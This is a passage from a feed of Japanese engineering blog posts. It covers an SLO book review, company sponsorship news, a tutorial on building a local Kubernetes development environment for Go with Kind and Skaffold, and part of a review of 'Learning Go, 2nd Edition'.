向上とビジネス目標の達成に貢献できると確信しています。おわりに「Implementing Service Level Objectives」を通じて、SLOが単なる技術的な指標ではなく、組織全体の信頼性文化を形成する強力なツールであることを深く理解することができました。まるで、組織という庭にSLOという種を植えて、信頼性という美しい花を咲かせるようなものですね。本書は、SLOの技術的な側面だけでなく、組織文化や人間的な側面にも大きな注意を払っており、SREとしての私たちの役割の重要性を再認識させてくれました。私たちは単なるガーデナーではなく、庭師長なのです!特に印象に残ったのは、「完璧である必要はない」という著者のメッセージです。SLOは、ユーザーの満足度と組織のリソースのバランスを取るためのツールであり、常に進化し続けるものです。まるで、完璧な体重を目指すダイエットではなく、健康的な生活習慣を築くようなものですね。この視点を持ちつつ、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことが、SREとしての私たちの重要な役割だと感じました。本書から学んだ知見を実践に移すためには、技術的なスキルだけでなく、コミュニケーション能力やリーダーシップスキルの向上も必要です。まるで、スーパーエンジニアからスーパーヒーローへの進化が求められているようです。SLOを組織全体に浸透させ、効果的に活用していくためには、技術チーム、プロダクトチーム、経営陣など、様々なステークホルダーとの協力が不可欠だからです。時には、異世界人との交渉も必要かもしれません。本書を通じて、SREの役割がより戦略的なものになりつつあることを強く感じました。SLOの導入と運用を通じて、SREは技術的な問題解決だけでなく、組織全体の方向性に影響を与える重要な位置にあることが明確になりました。まるで、裏方から舞台の主役に躍り出るような感覚です。この変化に適応し、技術的なスキルとビジネス感覚の両方を磨いていくことが、今後のSREにとって不可欠だと考えます。最後に、本書の著者をはじめ、SLOの発展に尽力されてきた方々に、心からの敬意と感謝を表します。皆さんの献身的な努力なくして、今日のSLOの隆盛はありませんでした。皆さんが切り拓いてくださった道の上を、私もまた歩んでいくことを誓います。そして、本ブログ読者の皆さまにも感謝を申し上げます。1つ1つの気づきや学びを積み重ねることが、私たち自身の成長につながるだけでなく、ひいては業界全体の発展にもつながるのだと信じています。引き続き、SLOについて学び、実践し、議論を深めていければとおもいます。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/05/163659","isoDate":"2024-07-05T07:36:59.000Z","dateMiliSeconds":1720165019000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は 2024年8月6日(火)に東京ミッドタウンで開催される「PagerDuty on Tour TOKYO 2024」にGold […]The post スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sponsor/","isoDate":"2024-07-05T01:19:54.000Z","dateMiliSeconds":1720142394000,"authorName":"Sreake","authorId":"Sreake"},{"title":"soci-snapshotter によるコンテナの起動時間削減について","contentSnippet":"はじめに 近年、機械学習を使ったアプリケーションの需要が高まっており、Kubernetes と GPU を組み合わせて使うパターンが多く存在します。その中で問題となることの 1 つが、コンテナイメージのサイズが大きくなる […]The post soci-snapshotter によるコンテナの起動時間削減について first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-lazy-pull-soci-snapshotter/","isoDate":"2024-07-03T09:04:51.000Z","dateMiliSeconds":1719997491000,"authorName":"Sreake","authorId":"Sreake"},{"title":"space-agonを通して触るゲームインフラ","contentSnippet":"はじめに Sreake 事業部でインターンをしている小川です。主にパブリッククラウド周辺に触れながら、 Kubernetes 関連の OSS の技術検証・調査をしています。 本調査では、Agones と Open Mat […]The post space-agonを通して触るゲームインフラ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-game-infrastructure-from-space-agon/","isoDate":"2024-07-03T09:04:48.000Z","dateMiliSeconds":1719997488000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Lookerでもpivotがしたい!!","contentSnippet":"whatLooker上でpivotテーブルができるかを調べてやってみたメモ Q. Lookerでpivotできるの…?A.できるhttps://www.cloudskillsboost.google/course_templates/323/video/432948?locale=jaLooker自身の仕様上、ExcelやLooker Studioのような操作感と少し違う点に注意。 対応グラフ表グラフ表グラフ(レガシー) やってみるExplorerを利用してできるので、簡単なデータを入れたテーブルを用意してやってみる。 利用環境データソース:...","link":"https://zenn.dev/nedoko_dok0dko/articles/8c70b7bfa0cef4","isoDate":"2024-07-02T14:05:01.000Z","dateMiliSeconds":1719929101000,"authorName":"seno","authorId":"seno"},{"title":"eBPFで計装はノーコードの時代へ Grafana Beylaの出来るコト出来ないコト","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/ebpfdeji-zhuang-hanokodonoshi-dai-he-grafana-beylanochu-lai-rukotochu-lai-naikoto","isoDate":"2024-07-01T04:00:00.000Z","dateMiliSeconds":1719806400000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"【Kubernetes☸️】\\"Findy 開発生産性 Conference\\" に登壇","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️プラットフォーム設計導入のために、横断的コミュニケーションが必要であるプラットフォームエンジニアリングで、マルチプロダクトの生産性を支えるプラットフォームエンジニアリングで、各マイクロサービスの生産性を支える発表スライドから得られる知識イベント名発表スライドイベントレポート登壇映像文字起こし謝辞イベント名オッス!オラ長谷川!✋\uD83C\uDFFB『マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』ていうテーマで、 Findy 開発生産性 Conference に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!『Findy開発生産性Conference』の発表資料です✊\uD83C\uDFFBオラたちのプラットフォームエンジニアリング事例を紹介してっから、ぜってぇ見てくれよな!✋\uD83C\uDFFB#開発生産性con_findyhttps://t.co/DjqztPn9z4— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) June 28, 2024 ちな、発表内容はこの記事にも関連してるぜ!イベントレポート@shinri_koda さんが書いてくれたイベントレポートもぜってぇ見てくれよな!✊\uD83C\uDFFB(ワードセンスがあり過ぎて、個人ブログ始めたら人気になりそう)センスある面白い一文\uD83D\uDE02これは、今すぐに日記ブログを始めるべき https://t.co/9SVo516apI pic.twitter.com/MApAcqxWoQ— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) July 6, 2024 登壇映像Findyさんが登壇の映像を公開してくれました\uD83C\uDFA5文字起こしFindyさんが発表を文字起こししてくれました\uD83D\uDDE3️謝辞感謝するぜ!イベントで出会えた全ての方々に!!!\uD83E\uDEF6\uD83C\uDFFB株式会社スリーシェイクのブースにお邪魔させていただきました\uD83D\uDE4C#3shake_inc pic.twitter.com/W7ufgaKfbS— すてにゃん (@stefafafan) June 29, 2024","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2024/07/01/120000","isoDate":"2024-07-01T03:00:00.000Z","dateMiliSeconds":1719802800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計","contentSnippet":"\\"Findy開発生産性Conference\\" の発表資料です✊\uD83C\uDFFB\\r\\r生産性を支えるためのプラットフォームエンジニアリング事例として、以下の3つの取り組みを紹介しました!\\r\\r・プラットフォーム設計導入のために、横断的コミュニケーションが必要である\\r・プラットフォームエンジニアリングで、マルチプロダクトの生産性を支える\\r・プラットフォームエンジニアリングで、各マイクロサービスの生産性を支える\\r\\r❓ はてなぶろぐ記事:https://hiroki-hasegawa.hatenablog.jp/entry/2024/07/01/120000\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1806559579180011572\\r\\r✍\uD83C\uDFFB 社内レポート:https://note.3-shake.com/n/n8efac1be167d\\r\\r\uD83D\uDDE3️ 発表文字起こし:https://findy-code.io/engineer-lab/dev-productivity-con-2024-3shake","link":"https://speakerdeck.com/hiroki_hasegawa/marutipurodakutonozu-zhi-demaikurosabisuakitekutiyawozhi-erucicdpuratutohuomushe-ji","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"運用者の各領域で向き合うLLM","contentSnippet":"運用者の各領域で向き合うLLM というタイトルで登壇しました。\\r\\rイベント名: Cloud Operator Days Tokyo 2024 \\rイベントURL:https://cloudopsdays.com/","link":"https://speakerdeck.com/nwiizo/yun-yong-zhe-noge-ling-yu-dexiang-kihe-ullm","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"ReckonerとATBeX Service LinkのGCP接続を検証してみた","contentSnippet":"はじめに Sreake事業部のsatokenです。 普段はお客様向けのSRE案件も担当していますが、弊社SaaSのReckonerのSREも兼務しています。 これまでReckonerからDataソースにアクセスするときは […]The post ReckonerとATBeX Service LinkのGCP接続を検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/reckoner-atbex-service-link-gcp/","isoDate":"2024-06-25T07:15:31.000Z","dateMiliSeconds":1719299731000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Go開発者のための遊び場を用意する - KindとSkaffoldで始めるKubernetesの開発環境構築","contentSnippet":"はじめにKind (Kubernetes in Docker) は、ローカル環境でKubernetesクラスタを簡単に構築できるツールです。そう、「簡単に」と言いましたが、「簡単」の定義は人によって大きく異なりますから。ある人にとっては「簡単」でも、他の人には「アラート対応を猫に教えるくらい難しい」かもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonさあ、気軽に「簡単な」Kubernetes体験の世界へ飛び込みましょう。途中で迷子になっても、パニックにならないでください。結局のところ、私たちプログラマーは迷子になることが仕事なのですから。サンプルコード動いているものをおいておくと記事の安心感と信頼性に繋がるので置いておきます。github.comKind公式ドキュメントkind.sigs.k8s.io環境情報環境としてはLimaを利用しております。syu-m-5151.hatenablog.com参考リンクKindクラスタの作成ローカルイメージのロードKindクラスタの設定KindのネットワーキングKindでの永続ボリュームの使用Kindのセットアップと基本的な使用方法KindのインストールKindはHomebrewやバイナリのダウンロード、Go言語を使用したインストールなど複数の方法でインストールすることができます。kind.sigs.k8s.io私はbrew で入れているので一応、コマンド記載しときます。brew install kind基本的なクラスタの作成最も基本的なKindクラスタを作成するには、以下のコマンドを使用します。kind create clusterこれにより、単一ノードのKubernetesクラスタが作成されます。カスタム設定でのクラスタ作成より詳細な設定を行う場合は、YAML設定ファイルを使用します。# kind-config.yamlkind: ClusterapiVersion: kind.x-k8s.io/v1alpha4nodes:- role: control-plane- role: worker- role: workerこのファイルを使用してクラスタを作成するにはkind create cluster --config kind-config.yamlクラスタの管理クラスタの一覧を表示:kind get clusters特定のクラスタを削除:kind delete cluster --name cluster-name特定のクラスタのkubeconfigを取得:kind get kubeconfig --name cluster-name1. Skaffoldとの統合による高速な開発サイクルの実現ホットリロード可能なローカル開発環境は、DockerとAirの組み合わせで構築できますが、SkaffoldとKindを用いることで、Kubernetes環境で同等の機能を持つ開発環境を実現することも可能です。skaffold.devサービスのソースコード変更が分かりやすければ正直なんでも良いのでこちらです。// main.gopackage mainimport ( \\"fmt\\" \\"net/http\\")func main() { http.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \\"Hello, World from Go!\\") }) http.ListenAndServe(\\":8080\\", nil)}Dockerfileの作成go.mod のバージョンとベースイメージがズレているとエラーが出るので修正しなきゃいけないですわねー# DockerfileFROM golang:1.22 as builderWORKDIR /app# Copy go mod and sum filesCOPY go.mod ./# Download all dependencies. Dependencies will be cached if the go.mod and go.sum files are not changedRUN go mod tidy# Copy the source from the current directory to the Working Directory inside the containerCOPY . .# Build the Go appRUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o go-app .FROM alpine:latest RUN apk --no-cache add ca-certificatesWORKDIR /root/COPY --from=builder /app/go-app .CMD [\\"./go-app\\"]Kubernetes設定ファイルの作成deployment.yaml にServiceも入れてます。# k8s-deployment.yamlapiVersion: apps/v1kind: Deploymentmetadata: name: go-appspec: replicas: 1 selector: matchLabels: app: go-app template: metadata: labels: app: go-app spec: containers: - name: go-app image: go-app ports: - containerPort: 8080---apiVersion: v1kind: Servicemetadata: name: go-appspec: type: NodePort ports: - port: 8080 targetPort: 8080 selector: app: go-appSkaffold設定ファイルの作成Skaffold設定ファイルの作成します。プロジェクトのルートディレクトリに skaffold.yaml ファイルを作成します。Dockerfileのビルドとkubectl でのデプロイの両方をやってくれます。# skaffold.yaml# Skaffoldの設定ファイル# このファイルはDockerイメージのビルドとKubernetesへのデプロイを自動化しますapiVersion: skaffold/v2beta26kind: Config# ビルド設定build: artifacts: - image: go-app # ビルドされるイメージの名前 context: . # ビルドコンテキストのパス(通常はプロジェクトのルートディレクトリ) docker: dockerfile: Dockerfile # 使用するDockerfileの名前# デプロイ設定deploy: kubectl: manifests: - k8s-*.yaml # デプロイに使用するKubernetesマニフェストファイルのパターン# 注意点:# 1. `go-app`はあなたのアプリケーション名に合わせて変更してください。# 2. Dockerfileがルートディレクトリにない場合は、パスを適切に調整してください。# 3. `k8s-*.yaml`は実際のマニフェストファイル名のパターンに合わせて変更してください。# 4. 必要に応じて、プロファイルやテスト設定を追加することができます。アプリケーションの実行とテストKindクラスタを作成し、Skaffoldを起動してます。kind create clusterskaffold dev --port-forwardこの後、main.goやDockerfileを編集してください。ファイルを保存すると、Skaffoldが自動的に以下の処理を行います。変更を検知新しいDockerイメージをビルドビルドしたイメージをKindクラスタにロードアプリケーションを再デプロイ変更の確認ブラウザやcurlコマンドを使用して、アプリケーションにアクセスし、変更が反映されていることを確認します。curl http://localhost:80802. マイクロサービスアーキテクチャのシミュレーションSkaffoldを使用して、2つのGoマイクロサービスを含む環境をKindでシミュレートします。Kindクラスタの作成# kind-multi-node.yamlkind: ClusterapiVersion: kind.x-k8s.io/v1alpha4nodes:- role: control-plane extraPortMappings: - containerPort: 30000 hostPort: 8080 - containerPort: 30001 hostPort: 8081- role: worker- role: workerデプロイじゃいkind create cluster --config kind-multi-node.yamlサービスのソースコード その1// service-a/main.gopackage mainimport ( \\"fmt\\" \\"net/http\\")func main() { http.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \\"Hello from Service A!\\") }) http.ListenAndServe(\\":8080\\", nil)}サービスのソースコード その2// service-b/main.gopackage mainimport ( \\"fmt\\" \\"net/http\\")func main() { http.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \\"Hello from Service B!\\") }) http.ListenAndServe(\\":8081\\", nil)}Dockerfileの作成各サービスのディレクトリに以下のDockerfileを作成します。# service-a/Dockerfile と service-b/DockerfileFROM golang:1.22 as builderWORKDIR /appCOPY go.mod .COPY main.go .RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main .FROM alpine:latest RUN apk --no-cache add ca-certificatesWORKDIR /root/COPY --from=builder /app/main .CMD [\\"./main\\"]Kubernetes設定ファイルの作成service-aとservice-bのファイルを適切なディレクトリに設置します。# k8s-manifests.yamlapiVersion: apps/v1kind: Deploymentmetadata: name: service-aspec: replicas: 1 selector: matchLabels: app: service-a template: metadata: labels: app: service-a spec: containers: - name: service-a image: service-a ports: - containerPort: 8080---apiVersion: v1kind: Servicemetadata: name: service-aspec: type: NodePort ports: - port: 8080 targetPort: 8080 nodePort: 30000 selector: app: service-a---apiVersion: apps/v1kind: Deploymentmetadata: name: service-bspec: replicas: 1 selector: matchLabels: app: service-b template: metadata: labels: app: service-b spec: containers: - name: service-b image: service-b ports: - containerPort: 8081---apiVersion: v1kind: Servicemetadata: name: service-bspec: type: NodePort ports: - port: 8081 targetPort: 8081 nodePort: 30001 selector: app: service-bSkaffold設定ファイルの作成プロジェクトのルートディレクトリに skaffold.yaml ファイルを作成します。# skaffold.yamlapiVersion: skaffold/v2beta29kind: Configbuild: artifacts: - image: service-a context: service-a docker: dockerfile: Dockerfile - image: service-b context: service-b docker: dockerfile: Dockerfiledeploy: kubectl: manifests: - k8s-manifests.yamlアプリケーションの実行とテストSkaffoldを使用してアプリケーションをビルド、デプロイ、そして監視します。skaffold dev --port-forwardこのコマンドは以下の動作を行います。- サービスAとサービスBのDockerイメージをビルド- ビルドしたイメージをKindクラスタにロード- Kubernetes マニフェストを適用してサービスをデプロイ- ポートフォワーディングを設定- ファイルの変更を監視し、変更があれば上記のプロセスを再実行確認別のターミナルウィンドウで以下のコマンドを実行して、サービスにアクセスできることを確認します。curl http://localhost:8080 # Service Acurl http://localhost:8081 # Service Bこれで、2つのマイクロサービスがKindクラスタ上で実行され、Skaffoldによって自動的に管理されます。ソースコードを変更すると、Skaffoldが自動的に再ビルドとデプロイを行います。おわりに本記事では、Kind(Kubernetes in Docker)を使用したGoアプリケーションの開発について詳しく解説しました。Kindの基本的なセットアップから、Skaffoldとの統合による高速な開発サイクルの実現、そしてマイクロサービスアーキテクチャのシミュレーションまで、実践的なアプローチで解説しました。ここで学んだtipsとセットアップ方法を活用することで、アプリケーション開発者は以下の利点を得ることができます効率的な開発サイクル: Skaffoldとの統合により、コード変更から再デプロイまでのプロセスが自動化され、開発速度が大幅に向上します。本番環境に近いテスト環境: Kindの柔軟性により、マイクロサービスアーキテクチャや複雑なネットワーク構成を、ローカル環境で簡単にシミュレートできます。Kindの強力な機能を利用することで、本番環境に近い状態でアプリケーションをテストし、開発サイクルを迅速化できます。これは、特にクラウドネイティブな開発において非常に重要です。今後のステップとして、以下のような発展的なトピックにチャレンジすることをおすすめします。まぁ一番は俺が書けって話ですけどね。本番環境に近いテスト環境の構築設定管理の簡素化データの永続化セキュリティの強化Kindを使用したCI/CDパイプラインの構築サービスメッシュ(例:Istio)のKind環境への導入Kindを使用したカオスエンジニアリングの実践マルチクラスタ環境のシミュレーションとフェデレーション最後に、Kindはあくまでもローカル開発とテストのためのツールであることを忘れないでください。本番環境への移行時には、クラウドプロバイダーやマネージドKubernetesサービスの特性を考慮し、適切な調整を行う必要があります。","link":"https://syu-m-5151.hatenablog.com/entry/2024/06/21/135855","isoDate":"2024-06-21T04:58:55.000Z","dateMiliSeconds":1718945935000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SKKの接頭辞・接尾辞変換をvim-skk/skkeletonに追加した","contentSnippet":"Vim駅伝の2024/6/21の記事です。SKKは快適な日本語入力を実現する素敵なインプットメソッドです。WindowsやmacOSなどOS本体向けの実装もあるのですが、Vim向けにもskkeletonやtusskといった実装があります。ddskkです。","link":"https://blog.atusy.net/2024/06/21/skkeleton-affix/","isoDate":"2024-06-21T00:00:00.000Z","dateMiliSeconds":1718928000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Packer + Ansible で ftp-server: No such file or directory でコケたら","contentSnippet":"事象久々に packer + ansible で AWS の AMI を作成しようとしたら次のようなエラーでコケてしまいました。fatal: [default]: UNREACHABLE! =>…","link":"https://qiita.com/yteraoka/items/9576de9392fc5db6053a","isoDate":"2024-06-19T15:32:52.000Z","dateMiliSeconds":1718811172000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"知識のunlearningをちゃんとやる - Learning Go, 2nd Editionの読書感想文","contentSnippet":"はじめにGo言語の入門書として広く知られている\\"Learning Go\\"の第二版が発刊されました。第一版を読んだ際、Go言語のシンプルさと美しく整然とした構文に感銘を受けたものの、常に進化を続けているため、過去の知識にとらわれることなく、新しい概念や手法を柔軟に取り入れていく姿勢が何よりも重要であると感じました。learning.oreilly.comソフトウェアエンジニアとして成長を続けるには、アンラーニング(unlearning)の精神、つまり過去の知識にとらわれることなく、絶え間なく新しい知識を吸収し続ける姿勢が欠かせません。どんな達人でも鍛錬を怠れば老いるのが自明ですから、知識の新陳代謝のための学び直しが必要不可欠なのです。この第二版では、中身がかなり改訂されており、Go言語のベストプラクティスがより深く理解できるようになっています。特に、ジェネリクスのサポートについての記述が追加されているのが嬉しいポイントです。これまでのGoの型システムの制限を克服し、より柔軟で表現力の豊かなコードが書けるようになるはずです(使えるようになるとは言っていません)。Unlearn(アンラーン) 人生100年時代の新しい「学び」作者:柳川 範之,為末 大日経BPAmazonまた、並行処理やメモリ管理、パフォーマンスチューニングなどの話題も充実しており、Go言語でシステム開発を行う上で必須の知識が得られます。サンプルコードや練習問題を動かしながら、Go言語の深淵に迫っていくことができます。本書は初心者には基礎知識と理解を、中級者にはステップアップのための明確な道筋を、そして上級者にはさらなる深い洞察と広がりを教えてくれる。一冊だと思います。ちなみに第一版には日本語版もあります。初めてのGo言語 ―他言語プログラマーのためのイディオマティックGo実践ガイド作者:Jon Bodnerオーム社Amazonこの本を読みながら、過去の知識にとらわれずに新しい概念を柔軟に取り入れる姿勢の重要性を改めて実感しました。Go言語はシンプルな設計思想を貫きながらも、常に進化を続けています。私自身もGo言語を使った開発を行っており、アンラーニングの精神を持ち続け、新しい知識を積極的に吸収していく必要があります。そうすることで、Go言語を最大限に活用し、よりよいソフトウェアを作り上げていくことができるはずです。個人的におすすめの書籍としては、「実用 Go言語―システム開発の現場で知っておきたいアドバイス」もあります。Go言語を実務で使う際の実践的なアドバイスが詰まっており、ぜひ合わせて読むことをおすすめします。実用 Go言語 ―システム開発の現場で知っておきたいアドバイス作者:渋川 よしき,辻 大志郎,真野 隼記オライリージャパンAmazonこの本の構成序文では、第1版から第2版への変更点、本書の対象読者、表記規則、サンプルコードの使用方法などが説明されています。第1章でGo開発環境のセットアップ方法が解説され、第2章から第5章でGo言語の基本的な要素である型、宣言、複合型、ブロック、シャドーイング、制御構文、関数などが取り上げられます。第6章から第8章では、ポインタ、型、メソッド、インターフェース、ジェネリクスといったGo言語の特徴的な機能が詳しく説明されています。第9章ではエラー処理、第10章ではモジュール、パッケージ、インポートが解説されます。第11章でGoのツールエコシステムが紹介され、第12章でGo の並行処理機能が取り上げられています。第13章と第14章では標準ライブラリとcontextパッケージについて詳しく説明されています。さらに、第15章でテストの書き方、第16章でreflect、unsafe、cgoといったより高度なトピックが解説されています。最後に演習問題が用意されており、Go言語を体系的に学ぶことができる構成となっています。Chapter 1. Setting Up Your Go Environment「Chapter 1. Setting Up Your Go Environment」を読んで、改めてGo言語の開発環境について理解を深めることができました。私自身、以前からGo言語を使っていましたが、この章を通して新たな発見もありました。私は普段、開発環境としてNeovimを使っています。VSCodeやGoLandのような統合開発環境を目指していろいろやっているのですがデフォルトでここまでやれると羨ましくも思います。ただ、Neovimでもプラグインを使えば、コード補完やフォーマットなどの基本的な機能は十分に使えるので、不便は感じていません。設定ファイルはこちらです。アンラーンが大事とか言いながら絶対に譲らないのは草です。github.comそれでも、VSCodeやGoLandのようなIDEの充実ぶりには驚かされました。特にデバッガやリファクタリング機能は、本格的な開発では重宝しそうです。私としては、プロジェクトの規模や用途に応じて、適切な開発環境を選ぶことが大切だと思いましたが別に変える予定はありまえせん。The Go Playgroundについては、以前から愛用していました。サンプルコードを試したり、コードを共有したりするのに非常に便利ですよね。複数のファイルを扱うこともできるので、ちょっとしたプロトタイプを作るのにも役立ちます。ただ、機密情報をPlaygroundに貼り付けてしまわないよう、くれぐれも注意が必要だと改めて認識しました。Makefileの活用方法については、自分でもよく使っているテクニックです。go fmtやgo vet、go buildといったコマンドを個別に実行するのは手間なので、Makefileにまとめておくことで開発の効率化が図れます。さらに、以下のようにcleanターゲットを追加しておけば、生成されたバイナリやキャッシュの削除も簡単にできて便利ですね。かつて登壇したので共有しておきます。 speakerdeck.com.DEFAULT_GOAL := build.PHONY:fmt vet buildfmt: go fmt ./...vet: fmt go vet ./...build: vet go buildclean: go clean rm -f hello_worldGo言語の後方互換性については、開発者にとって大きなメリットだと感じています。APIの互換性が保証されているおかげで、バージョンアップによる影響を最小限に抑えられるのは、長期的なプロジェクトの維持においては特に重要なポイントだと思います。一方で、goコマンドについては後方互換性が保証されていないため、注意深くアップデートする必要があるのは確かです。moneyforward-dev.jp総じて、この章では改めてGo言語の開発環境について体系的に学ぶことができました。すでにGoを使っている人にとっても、開発環境の選択肢や、コーディングの規約、Makefileの活用など、参考になる情報が多く含まれていたと思います。実際の開発で役立つテクニックが詰まった章だったと言えるでしょう。私自身、今後もNeovimを主な開発環境として使っていく予定ですが、プロジェクトによってはVSCodeやGoLandの導入も今後も検討したいと思います。検討を重ねて検討を加速させます。みなさんは、どのような開発環境を使っているのか、そのメリットやデメリットも含めて教えていただけると嬉しいです。この章で得た知見を活かし、より効率的な環境でGoのコードを書けるようになりたいですね。次の章以降では、いよいよ言語の基本的な要素について学んでいくことになります。Goならではの特性を理解し、実践で役立てていきたいと思います。Chapter 2. Predeclared Types and Declarations「Chapter 2. Predeclared Types and Declarations」では、Go言語の組み込み型と変数宣言について詳しく解説されていました。この章を通して、Go言語の型システムと変数の扱い方について理解を深めることができました。go.devGo言語の変数宣言は、varキーワードを使う方法と:=を使う方法の2通りがあります。varを使う方法は、変数の型を明示的に指定できるので、意図が明確になります。一方、:=を使う方法は、型推論によって変数の型が自動的に決定されるので、コードがすっきりします。ただし、:=は関数内でしか使えないという制約があるので、適材適所で使い分ける必要があります。Go言語のリテラルは、デフォルトでは型を持たない(untyped)という特徴があります。これにより、リテラルを柔軟に使うことができます。例えば、整数リテラルを浮動小数点数型の変数に代入することができます。ただし、型を持たないリテラルは、デフォルトの型を持っていて、それが変数の型として使われます。定数はconstキーワードを使って宣言します。Go言語の定数は、コンパイル時に値が決定するという特徴があります。そのため、定数には数値リテラルや文字列リテラル、true/falseなどの値しか代入できません。定数は型を持つ場合と持たない場合があり、型を持たない定数はリテラルと同じように柔軟に使うことができます。変数名の付け方には、Go言語らしい流儀があります。キャメルケースを使うのが一般的で、スネークケースはあまり使われません。また、変数のスコープが小さいほど、短い名前を使うのが慣例です。例えば、forループのインデックス変数にはiやjといった1文字の名前がよく使われます。総括すると、この章ではGo言語の型システムと変数宣言について網羅的に解説されていました。Go言語の型システムは、シンプルでありながら多様な型を提供しており、柔軟性と安全性のバランスが取れていると感じました。変数宣言の方法も、varと:=の2通りがあり、使い分けることでコードの意図を明確にできます。また、リテラルと定数の扱い方にも、Go言語らしい特徴があることがわかりました。私としては、今後Go言語でコードを書く際は、この章で学んだ知識を活かして、型の選択と変数宣言を適切に行っていきたいと思います。特に、変数のスコープに応じて適切な名前を付けることは、コードの可読性を高めるために重要だと感じました。みなさんは、普段どのようなルールで変数名を付けているでしょうか。私としては、キャメルケースを使い、スコープが小さい変数には短い名前を使うようにしたいと思います。例えば、以下のように書くのがよいと思います。func main() { n := 10 for i := 0; i < n; i++ { fmt.Println(i) }}ここでは、nという変数名を使って、ループの上限を表しています。また、ループ変数にはiという1文字の名前を使っています。このように、変数名を適切に付けることで、コードの意図が明確になり、可読性が高まります。Chapter 3. Composite Types「Chapter 3. Composite Types」では、Go言語の複合型について詳しく解説されていました。配列、スライス、マップ、構造体といった複合型は、Go言語でデータを扱う上で欠かせない要素です。この章を通して、Go言語の複合型の特徴と使い方について理解を深めることができました。まず、配列の扱いにくさが印象的でした。Go言語の配列は、サイズが型の一部となっているため、非常に硬直的です。関数に任意のサイズの配列を渡すことができないなど、利用シーンが限られています。そのため、ほとんどの場合は配列ではなくスライスを使うのが一般的だと学びました。スライスは、Go言語で最もよく使われるデータ構造の一つです。宣言方法は複数ありますが、makeを使ってサイズと容量を指定する方法が適切だと感じました。スライスは参照型なので、関数に渡した場合は元のスライスが変更されることに注意が必要です。また、のように、スライスから別のスライスを作る際は、意図しない部分が共有されてしまうことがあるので、注意が必要だと学びました。マップは、キーと値のペアを格納するデータ構造です。宣言時にキーの型と値の型を指定します。マップに値を格納するには、m[key] = valueのように角括弧を使います。のように、存在しないキーにアクセスしようとすると、値の型のゼロ値が返されるのが特徴的でした。また、マップはスライス同様、参照型なので、関数に渡すと元のマップが変更されることを理解しました。構造体は、任意の型のフィールドを持つ複合型です。構造体を使えば、関連するデータをまとめて扱うことができます。構造体リテラルを使えば、簡潔に構造体を初期化できます。フィールド名を指定しない場合は、宣言された順番で値を指定する必要があります。構造体は比較可能な型のフィールドのみで構成されている場合、==や!=で比較できるのが便利だと感じました。Exercisesは、学んだ内容を実践的に使う良い機会だと思います。スライスのサブスライスを作ったり、文字列のルーンにアクセスしたり、構造体を色々な方法で初期化したりと、複合型の基本的な使い方が身につきそうな課題ばかりでした。github.comこの章ではGo言語の複合型について網羅的に学ぶことができました。スライスとマップの使い方、構造体の定義方法など、データを扱う上で欠かせない知識が身についたと実感しています。特に、スライスとマップが参照型であることや、意図しないメモリ共有に注意が必要だということは、頭に入れておくべき重要なポイントだと感じました。Chapter 4. Blocks, Shadows, and Control Structures「Chapter 4. Blocks, Shadows, and Control Structures」では、Go言語のブロックスコープ、シャドーイング、制御構文について深く理解することができました。これらの概念は、Go言語でコードを書く上で避けて通れない重要なトピックです。Uber Go Style Guide 